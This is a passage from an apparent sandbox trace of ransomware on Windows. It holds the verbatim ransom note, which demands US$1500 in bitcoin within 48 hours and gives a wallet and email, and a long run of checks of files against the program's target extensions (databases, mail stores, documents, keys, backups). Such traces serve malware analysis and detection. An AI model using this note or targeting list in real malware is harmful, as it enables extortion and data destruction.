cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.242] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.244] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.246] CloseHandle (hObject=0x90) returned 1 [0112.246] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\", lpString2="SMSvcHost.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe" [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.ems") returned 0 [0112.246] lstrlenA (lpString="*.ems") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.db") returned 0 [0112.246] lstrlenA (lpString="*.db") returned 4 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.dbf") returned 0 [0112.246] lstrlenA (lpString="*.dbf") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.myox") returned 0 [0112.246] lstrlenA (lpString="*.myox") returned 6 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.myo") returned 0 [0112.246] lstrlenA (lpString="*.myo") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.qbw") returned 0 [0112.246] lstrlenA (lpString="*.qbw") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.qbb") returned 0 [0112.246] lstrlenA (lpString="*.qbb") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.qbm") returned 0 [0112.246] lstrlenA (lpString="*.qbm") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.qbo") returned 0 [0112.246] lstrlenA (lpString="*.qbo") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.qbx") returned 0 [0112.246] lstrlenA (lpString="*.qbx") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.qba") returned 0 [0112.246] lstrlenA (lpString="*.qba") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.qby") returned 0 [0112.246] lstrlenA (lpString="*.qby") returned 5 [0112.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.qbj") returned 0 [0112.247] lstrlenA (lpString="*.qbj") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.ofx") returned 0 [0112.247] lstrlenA (lpString="*.ofx") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.qif") returned 0 [0112.247] lstrlenA (lpString="*.qif") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.mye") returned 0 [0112.247] lstrlenA (lpString="*.mye") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.mbox") returned 0 [0112.247] lstrlenA (lpString="*.mbox") returned 6 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.eml") returned 0 [0112.247] lstrlenA (lpString="*.eml") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.pst") returned 0 [0112.247] lstrlenA (lpString="*.pst") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.ost") returned 0 [0112.247] lstrlenA (lpString="*.ost") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.idx") returned 0 [0112.247] lstrlenA (lpString="*.idx") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.dbx") returned 0 [0112.247] lstrlenA (lpString="*.dbx") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.sql") returned 0 [0112.247] lstrlenA (lpString="*.sql") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.mdb") returned 0 [0112.247] lstrlenA (lpString="*.mdb") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.fdb") returned 0 [0112.247] lstrlenA (lpString="*.fdb") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.wab") returned 0 [0112.247] lstrlenA (lpString="*.wab") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.dat") returned 0 [0112.247] lstrlenA (lpString="*.dat") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.txt") returned 0 [0112.247] lstrlenA (lpString="*.txt") returned 5 [0112.247] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.jpeg") returned 0 [0112.248] lstrlenA (lpString="*.jpeg") returned 6 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.jpg") returned 0 [0112.248] lstrlenA (lpString="*.jpg") returned 5 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.png") returned 0 [0112.248] lstrlenA (lpString="*.png") returned 5 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.php") returned 0 [0112.248] lstrlenA (lpString="*.php") returned 5 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.cs") returned 0 [0112.248] lstrlenA (lpString="*.cs") returned 4 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.cpp") returned 0 [0112.248] lstrlenA (lpString="*.cpp") returned 5 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.rar") returned 0 [0112.248] lstrlenA (lpString="*.rar") returned 5 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.zip") returned 0 [0112.248] lstrlenA (lpString="*.zip") returned 5 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.html") returned 0 [0112.248] lstrlenA (lpString="*.html") returned 6 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.htm") returned 0 [0112.248] lstrlenA (lpString="*.htm") returned 5 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.xlsx") returned 0 [0112.248] lstrlenA (lpString="*.xlsx") returned 6 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.xls") returned 0 [0112.248] lstrlenA (lpString="*.xls") returned 5 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.mp4") returned 0 [0112.248] lstrlenA (lpString="*.mp4") returned 5 [0112.248] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.ppt") returned 0 [0112.248] lstrlenA (lpString="*.ppt") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.pptx") returned 0 [0112.249] lstrlenA (lpString="*.pptx") returned 6 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.doc") returned 0 [0112.249] lstrlenA (lpString="*.doc") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.dot") returned 0 [0112.249] lstrlenA (lpString="*.dot") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.docx") returned 0 [0112.249] lstrlenA (lpString="*.docx") returned 6 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.7z") returned 0 [0112.249] lstrlenA (lpString="*.7z") returned 4 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.tar") returned 0 [0112.249] lstrlenA (lpString="*.tar") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.bz2") returned 0 [0112.249] lstrlenA (lpString="*.bz2") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.gz") returned 0 [0112.249] lstrlenA (lpString="*.gz") returned 4 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.mkv") returned 0 [0112.249] lstrlenA (lpString="*.mkv") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.eml") returned 0 [0112.249] lstrlenA (lpString="*.eml") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.msg") returned 0 [0112.249] lstrlenA (lpString="*.msg") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.edb") returned 0 [0112.249] lstrlenA (lpString="*.edb") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.accdb") returned 0 [0112.249] lstrlenA (lpString="*.accdb") returned 7 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.odb") returned 0 [0112.249] lstrlenA (lpString="*.odb") returned 5 [0112.249] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.java") returned 0 [0112.249] lstrlenA (lpString="*.java") returned 6 [0112.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.asm") returned 0 [0112.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.pfx") returned 0 [0112.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.pem") returned 0 [0112.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.p12") returned 0 [0112.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.gpg") returned 0 [0112.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.vsd") returned 0 [0112.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.odg") returned 0 [0112.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.raw") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.nef") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.svg") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.psd") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.vmx") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.vmdk") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.vdi") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.lay6") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.mpeg") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.djvu") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.tiff") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.backup") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.pdf") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.cert") returned 0 [0112.251] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.docm") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.xlsm") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.dwg") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.nd") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.tlg") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.lgb") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.mov") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.xdw") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.ods") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.wav") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.mp3") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.aiff") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.flac") returned 0 [0112.252] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.m4a") returned 0 [0112.253] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\SMSvcHost.ni.exe", pszSpec="*.csv") returned 0 [0112.253] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd78399, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xddd78399, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xddd78399, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x80600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMSvcHost.ni.exe", cAlternateFileName="SMSVCH~1.EXE")) returned 0 [0112.253] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.253] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdddc465a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdddc465a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdddc465a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="04d794428d635f6a82ac57dd3d6f3628", cAlternateFileName="04D794~1")) returned 0 [0112.253] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.253] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x674414e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x674414e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x674414e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0053, dwReserved1=0x760053, cFileName="SrpUxSnapIn", cAlternateFileName="SRPUXS~1")) returned 1 [0112.253] lstrcmpA (lpString1=".", lpString2="SrpUxSnapIn") returned -1 [0112.253] lstrcmpA (lpString1="..", lpString2="SrpUxSnapIn") returned -1 [0112.253] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.253] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="SrpUxSnapIn" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn" [0112.253] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x674414e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x674414e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x674414e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.254] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.254] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x674414e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x674414e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x674414e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, 